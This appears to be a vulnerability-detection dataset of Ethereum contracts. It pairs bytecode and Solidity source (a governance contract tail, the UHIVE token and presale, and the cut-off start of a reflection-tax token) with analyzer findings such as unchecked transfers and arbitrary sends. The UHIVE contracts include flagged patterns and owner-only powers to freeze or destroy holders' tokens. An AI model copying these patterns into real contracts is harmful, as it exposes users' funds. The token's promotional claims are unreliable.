28161048f565b6127126128b58261048f565b61048f565b60006128c58261375c565b6128cf8185613760565b93506128df8185602086016137e7565b6128e881613813565b9093019392505050565b60008154600181166000811461290f576001811461295357612992565b607f60028304166129208187613760565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0084168152955050602085019250612992565b600282046129618187613760565b955061296c85613750565b60005b8281101561298b5781548882015260019091019060200161296f565b8701945050505b505092915050565b612712816137ba565b612712816137c5565b60006129b9604483613760565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c792062652071756575656420696620697420697320737563636560208201527f6564656400000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612a3e604583613760565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208201527f7565756564000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612ac36002836109b5565b7f1901000000000000000000000000000000000000000000000000000000000000815260020192915050565b6000612afc602983613760565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707281527f6f706f73616c2069640000000000000000000000000000000000000000000000602082015260400192915050565b6000612b5b602d83613760565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081527f616c726561647920766f74656400000000000000000000000000000000000000602082015260400192915050565b6000612bba605983613760565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000604082015260600192915050565b6000612c3f602883613760565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981527f20616374696f6e73000000000000000000000000000000000000000000000000602082015260400192915050565b6000612c9e601183613760565b7f6164646974696f6e206f766572666c6f77000000000000000000000000000000815260200192915050565b6000612cd76043836109b5565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201527f6374290000000000000000000000000000000000000000000000000000000000604082015260430192915050565b6000612d5c6027836109b5565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207381527f7570706f72742900000000000000000000000000000000000000000000000000602082015260270192915050565b6000612dbb604483613760565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208201527f6174636800000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612e40602f83613760565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081527f61626f7665207468726573686f6c640000000000000000000000000000000000602082015260400192915050565b6000612e9f604483613760565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208201527f2065746100000000000000000000000000000000000000000000000000000000604082015260600192915050565b6000612f24602c83613760565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81527f7669646520616374696f6e730000000000000000000000000000000000000000602082015260400192915050565b6000612f83603f83613760565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b6000612fe2602f83613760565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81527f76616c6964207369676e61747572650000000000000000000000000000000000602082015260400192915050565b6000613041605883613760565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c7265616479206163746976652070726f706f73616c0000000000000000604082015260600192915050565b60006130c6603683613760565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636181527f6e63656c2065786563757465642070726f706f73616c00000000000000000000602082015260400192915050565b6000613125602a83613760565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6781527f20697320636c6f73656400000000000000000000000000000000000000000000602082015260400192915050565b6000613184601583613760565b7f7375627472616374696f6e20756e646572666c6f770000000000000000000000815260200192915050565b805160608301906131c18482612897565b5060208201516131d46020850182612897565b5060408201516131e760408501826131ff565b50505050565b6127128161379c565b612712816137d0565b612712816137a2565b600061321382612ab6565b915061321f82856128a9565b60208201915061322f82846128a9565b5060200192915050565b600061173382612cca565b600061173382612d4f565b6040810161325d8285612709565b611c5360208301846128a0565b6040810161325d8285612718565b608081016132868287612718565b61329360208301866128a0565b6132a06040830185612897565b6113ac60608301846131f6565b60a081016132bb8288612718565b6132c860208301876128a0565b81810360408301526132da81866128ba565b905081810360608301526132ee81856128ba565b90506132fd60808301846128a0565b9695505050505050565b60a081016133158288612718565b61332260208301876128a0565b818103604083015261333481866128f2565b905081810360608301526132ee81856128f2565b608080825281016133598187612721565b9050818103602083015261336d8186612849565b9050818103604083015261338181856127e8565b905081810360608301526132fd818461277a565b6020810161173382846128a0565b608081016133b182876128a0565b6133be60208301866128a0565b6133cb60408301856128a0565b6113ac6060830184612718565b606081016133e682866128a0565b6133f360208301856128a0565b61246a6040830184612897565b6080810161340e82876128a0565b61341b60208301866131ed565b61342860408301856128a0565b6113ac60608301846128a0565b60208101611733828461299a565b6020810161173382846129a3565b60208082528101611c5381846128ba565b60208082528101611733816129ac565b6020808252810161173381612a31565b6020808252810161173381612aef565b6020808252810161173381612b4e565b6020808252810161173381612bad565b6020808252810161173381612c32565b6020808252810161173381612c91565b6020808252810161173381612dae565b6020808252810161173381612e33565b6020808252810161173381612e92565b6020808252810161173381612f17565b6020808252810161173381612f76565b6020808252810161173381612fd5565b6020808252810161173381613034565b60208082528101611733816130b9565b6020808252810161173381613118565b6020808252810161173381613177565b6060810161173382846131b0565b610120810161358f828c6128a0565b61359c602083018b612709565b81810360408301526135ae818a612721565b905081810360608301526135c28189612849565b905081810360808301526135d681886127e8565b905081810360a08301526135ea818761277a565b90506135f960c08301866128a0565b61360660e08301856128a0565b81810361010083015261361981846128ba565b9b9a5050505050505050505050565b6101208101613637828c6128a0565b613644602083018b612718565b613651604083018a6128a0565b61365e60608301896128a0565b61366b60808301886128a0565b61367860a08301876128a0565b61368560c08301866128a0565b61369260e0830185612897565b6136a0610100830184612897565b9a9950505050505050505050565b6040810161325d82856128a0565b60405181810167ffffffffffffffff811182821017156136db57600080fd5b604052919050565b600067ffffffffffffffff8211156136fa57600080fd5b5060209081020190565b600067ffffffffffffffff82111561371b57600080fd5b506020601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160190565b60200190565b60009081526020902090565b5190565b90815260200190565b600061173382613783565b151590565b806109b58161383b565b73ffffffffffffffffffffffffffffffffffffffff1690565b60ff1690565b6bffffffffffffffffffffffff1690565b6000611733825b600061173382613769565b600061173382613779565b6000611733826137a2565b82818337506000910152565b60005b838110156138025781810151838201526020016137ea565b838111156131e75750506000910152565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01690565b600881106121be57fe5b61384e81613769565b81146121be57600080fd5b61384e81613774565b61384e8161048f565b61384e8161379c565b61384e816137a256fea365627a7a7231582054623d2a690b69c194279b3b7e8935aa55c6033ca2d960f533ce7f2142abcef06c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,596
0xe8ae4367415ccaef40bd8c96331561aac7b8080d
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Hive is ERC20 { using SafeMath for uint; string public constant name = "UHIVE"; string public constant symbol = "HVE"; uint256 public constant decimals = 18; uint256 _totalSupply = 80000000000 * (10**decimals); mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); // Balances for each account mapping(address => uint256) balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping (address => uint256)) allowed; // Owner of this contract address public owner; // Functions with this modifier can only be executed by the owner modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public { require(_newOwner != address(0)); owner = _newOwner; } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function isFrozenAccount(address _addr) public constant returns (bool) { return frozenAccount[_addr]; } function destroyCoins(address addressToDestroy, uint256 amount) onlyOwner public { require(addressToDestroy != address(0)); require(amount > 0); require(amount <= balances[addressToDestroy]); balances[addressToDestroy] -= amount; _totalSupply -= amount; } // Constructor function Hive() public { owner = msg.sender; balances[owner] = _totalSupply; } function totalSupply() public constant returns (uint256 supply) { supply = _totalSupply; } // What is the balance of a particular account? function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } // Transfer the balance from owner's account to another account function transfer(address _to, uint256 _value) public returns (bool success) { if (_to != address(0) && isFrozenAccount(msg.sender) == false && balances[msg.sender] >= _value && _value > 0 && balances[_to].add(_value) > balances[_to]) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } else { return false; } } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom(address _from,address _to, uint256 _value) public returns (bool success) { if (_to != address(0) && isFrozenAccount(_from) == false && balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to].add(_value) > balances[_to]) { balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } else { return false; } } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract HivePreSale { using SafeMath for uint256; // The token being sold Hive public token; // Address where funds are collected address public vaultWallet; // How many token units a buyer gets per wei uint256 public hivePerEther; // How much hive cost per USD uint256 public hivePerUSD; // Owner of this contract address public owner; //Flag paused sale bool public paused; uint256 public openingTime; uint256 public closingTime; uint256 public minimumWei; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(now >= openingTime && now <= closingTime && paused == false); _; } // Functions with this modifier can only be executed by the owner modifier onlyOwner() { require(msg.sender == owner); _; } function HivePreSale(uint256 _hivePerEther, address _vaultWallet, Hive _token, uint256 _openingTime, uint256 _closingTime) public { hivePerEther = _hivePerEther; vaultWallet = _vaultWallet; token = _token; owner = msg.sender; openingTime = _openingTime; closingTime = _closingTime; paused = false; hivePerUSD = 667; //each hive is 0.0015$ minimumWei = 100000000000000000; //0.1 Ether } function () external payable { buyTokens(msg.sender); } /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return now > closingTime; } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable onlyWhileOpen { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); _verifyAvailability(tokens); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _forwardFunds(); } function changeRate(uint256 _newRate) onlyOwner public { require(_newRate > 0); hivePerEther = _newRate; } function changeMinimumWei(uint256 _newMinimumWei) onlyOwner public { minimumWei = _newMinimumWei; } function extendSale(uint256 _newClosingTime) onlyOwner public { require(_newClosingTime > closingTime); closingTime = _newClosingTime; } function haltSale() onlyOwner public { paused = true; } function resumeSale() onlyOwner public { paused = false; } //Called from outside to auto handle BTC and FIAT purchases function forwardTokens(address _beneficiary, uint256 totalTokens) onlyOwner onlyWhileOpen public { _preValidateTokenTransfer(_beneficiary, totalTokens); _deliverTokens(_beneficiary, totalTokens); } function changeOwner(address _newOwner) onlyOwner public { require(_newOwner != address(0)); owner = _newOwner; } function changeVaultWallet(address _newVaultWallet) onlyOwner public { require(_newVaultWallet != address(0)); vaultWallet = _newVaultWallet; } //Called after the sale ends to withdraw remaining unsold tokens function withdrawUnsoldTokens() onlyOwner public { uint256 unsold = token.balanceOf(this); token.transfer(owner, unsold); } function terminate() public onlyOwner { selfdestruct(owner); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view { require(hasClosed() == false); require(paused == false); require(_beneficiary != address(0)); require(_weiAmount >= minimumWei); } /** * @dev Validation of a token transfer, used with BTC purchase. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number to tokens to transfer */ function _preValidateTokenTransfer(address _beneficiary, uint256 _tokenAmount) internal view { require(hasClosed() == false); require(paused == false); require(_beneficiary != address(0)); require(_tokenAmount > 0); } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) private { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) private { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) private view returns (uint256) { return _weiAmount.mul(hivePerEther); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() private { vaultWallet.transfer(msg.value); } function _verifyAvailability(uint256 _requestedAmount) private view { uint256 remaining = token.balanceOf(this); require(remaining >= _requestedAmount); } }
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630c08bf88146101285780631515bc2b1461013d5780631f1886e41461016a57806333e364cb1461018d57806345e0e412146101a25780634b6753bc146101e45780635c975abb1461020d5780635fbaa3901461023a57806361f1c5ba1461024f57806374e7493b146102a45780637c6db9b5146102c75780638da5cb5b146102ea578063a6f9dae11461033f578063b7a8807c14610378578063c6567835146103a1578063c8bdbfb6146103da578063d22b32e9146103ef578063e0e267e514610418578063ec8ac4d814610441578063f8742a141461046f578063fc0c546a14610498575b610126336104ed565b005b341561013357600080fd5b61013b6105d3565b005b341561014857600080fd5b61015061066a565b604051808215151515815260200191505060405180910390f35b341561017557600080fd5b61018b6004808035906020019091905050610676565b005b341561019857600080fd5b6101a06106ec565b005b34156101ad57600080fd5b6101e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610765565b005b34156101ef57600080fd5b6101f7610817565b6040518082815260200191505060405180910390f35b341561021857600080fd5b61022061081d565b604051808215151515815260200191505060405180910390f35b341561024557600080fd5b61024d610830565b005b341561025a57600080fd5b6102626108a9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102af57600080fd5b6102c560048080359060200190919050506108cf565b005b34156102d257600080fd5b6102e86004808035906020019091905050610944565b005b34156102f557600080fd5b6102fd6109aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561034a57600080fd5b610376600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109d0565b005b341561038357600080fd5b61038b610aac565b6040518082815260200191505060405180910390f35b34156103ac57600080fd5b6103d8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ab2565b005b34156103e557600080fd5b6103ed610b8e565b005b34156103fa57600080fd5b610402610dda565b6040518082815260200191505060405180910390f35b341561042357600080fd5b61042b610de0565b6040518082815260200191505060405180910390f35b61046d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506104ed565b005b341561047a57600080fd5b610482610de6565b6040518082815260200191505060405180910390f35b34156104a357600080fd5b6104ab610dec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600554421015801561050457506006544211155b8015610523575060001515600460149054906101000a900460ff161515145b151561052e57600080fd5b34915061053b8383610e11565b61054482610e9e565b905061054f81610ebc565b6105598382610fb2565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a36105ce610fc0565b505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561062f57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60006006544211905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106d257600080fd5b600654811115156106e257600080fd5b8060068190555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561074857600080fd5b6000600460146101000a81548160ff021916908315150217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107c157600080fd5b60055442101580156107d557506006544211155b80156107f4575060001515600460149054906101000a900460ff161515145b15156107ff57600080fd5b6108098282611024565b61081382826110af565b5050565b60065481565b600460149054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088c57600080fd5b6001600460146101000a81548160ff021916908315150217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561092b57600080fd5b60008111151561093a57600080fd5b8060028190555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109a057600080fd5b8060078190555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a6857600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b0e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b4a57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bec57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610cb057600080fd5b6102c65a03f11515610cc157600080fd5b5050506040518051905090506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610dbb57600080fd5b6102c65a03f11515610dcc57600080fd5b505050604051805190505050565b60025481565b60075481565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60001515610e1d61066a565b1515141515610e2b57600080fd5b60001515600460149054906101000a900460ff161515141515610e4d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610e8957600080fd5b6007548110151515610e9a57600080fd5b5050565b6000610eb56002548361119b90919063ffffffff16565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610f8257600080fd5b6102c65a03f11515610f9357600080fd5b505050604051805190509050818110151515610fae57600080fd5b5050565b610fbc82826110af565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561102257600080fd5b565b6000151561103061066a565b151514151561103e57600080fd5b60001515600460149054906101000a900460ff16151514151561106057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561109c57600080fd5b6000811115156110ab57600080fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561117b57600080fd5b6102c65a03f1151561118c57600080fd5b50505060405180519050505050565b600080828402905060008414806111bc57508284828115156111b957fe5b04145b15156111c457fe5b80915050929150505600a165627a7a7230582067f2f1341ddeccc56dfeb691be2f08f35e5c7df62a1ac3d890d270837c6d40620029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
8,597
0x0e43ef1274fe603ed4fe86a7d8577cc77bdc3a3e
/** *Submitted for verification at Etherscan.io on 2021-12-06 */ /** Non Fungible Capital: $NFC -You buy on Ethereum, we invest in NFTs that have true utility & farm on multiple chains to return the profits to $NFC holders + NFT giveaways. 1) 10% tax is collected and distributed to holders for HODLing. 2) 10-15% farming and operations tax. Website: https://nfc.farm Telegram: https://t.me/nonfungiblecapital Twitter: https://twitter.com/NFC_FARM */ /** * There is not a pause contract button. * Deployer cannot disable sells. * Sell taxes cannot be raised higher than a designated percent written into the contract and noted as such. * Sells cannot exceed 25%. * Built-in whale protection: Max wallet size, max Tx amount and max amount to swap for ETH. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NonFungibleCapital is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Non Fungible Capital"; string private constant _symbol = "NFC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping (address => bool) public _isExcludedMaxTxAmount; mapping(address => bool) private _isExcludedFromReflection; address[] private _excludedFromReflection; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000 * 1e9 * 1e9; //1,000,000,000,000 uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) public bots; uint256 private _reflectionFeeOnBuy = 10; uint256 private _taxFeeOnBuy = 15; uint256 private _reflectionFeeOnSell = 10; uint256 private _taxFeeOnSell = 15; uint256 private _reflectionFee = _reflectionFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousReflectionFee = _reflectionFee; uint256 private _previousTaxFee = _taxFee; address payable public _nfcAddress = payable(0xCbB1d245613DC6c3C05c1f18dfc9Ae763154D9aa); //Investment wallet address payable public _mktgAddress = payable(0x48F92371a12573FEE2aB79F085f13Cb168a2E24D); //Marketing wallet IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = true; bool public tradingActive = false; uint256 public _maxTxAmount = 2500 * 1e7 * 1e9; //max transaction set to 2.5% uint256 public _maxWalletSize = 2500 * 1e7 * 1e9; //max wallet set to 2.5% uint256 public _swapTokensAtAmount = 5000 * 1e6 * 1e9; //amount of tokens to swap for eth 0.5% event ExcludeFromReflection(address excludedAddress); event IncludeInReflection(address includedAddress); event ExcludeFromFee(address excludedAddress); event IncludeInFee(address includedAddress); event UpdatedMktgAddress(address mktg); //Marketing wallet event UpdatedNfcAddress(address nfc); //Investment wallet event SetBuyFee(uint256 buyMktgFee, uint256 buyReflectionFee); event SetSellFee(uint256 sellMktgFee, uint256 sellReflectionFee); event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_nfcAddress] = true; _isExcludedFromFee[_mktgAddress] = true; excludeFromMaxTxAmount(owner(), true); excludeFromMaxTxAmount(address(this), true); excludeFromMaxTxAmount(address(_nfcAddress), true); excludeFromMaxTxAmount(address(_mktgAddress), true); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return 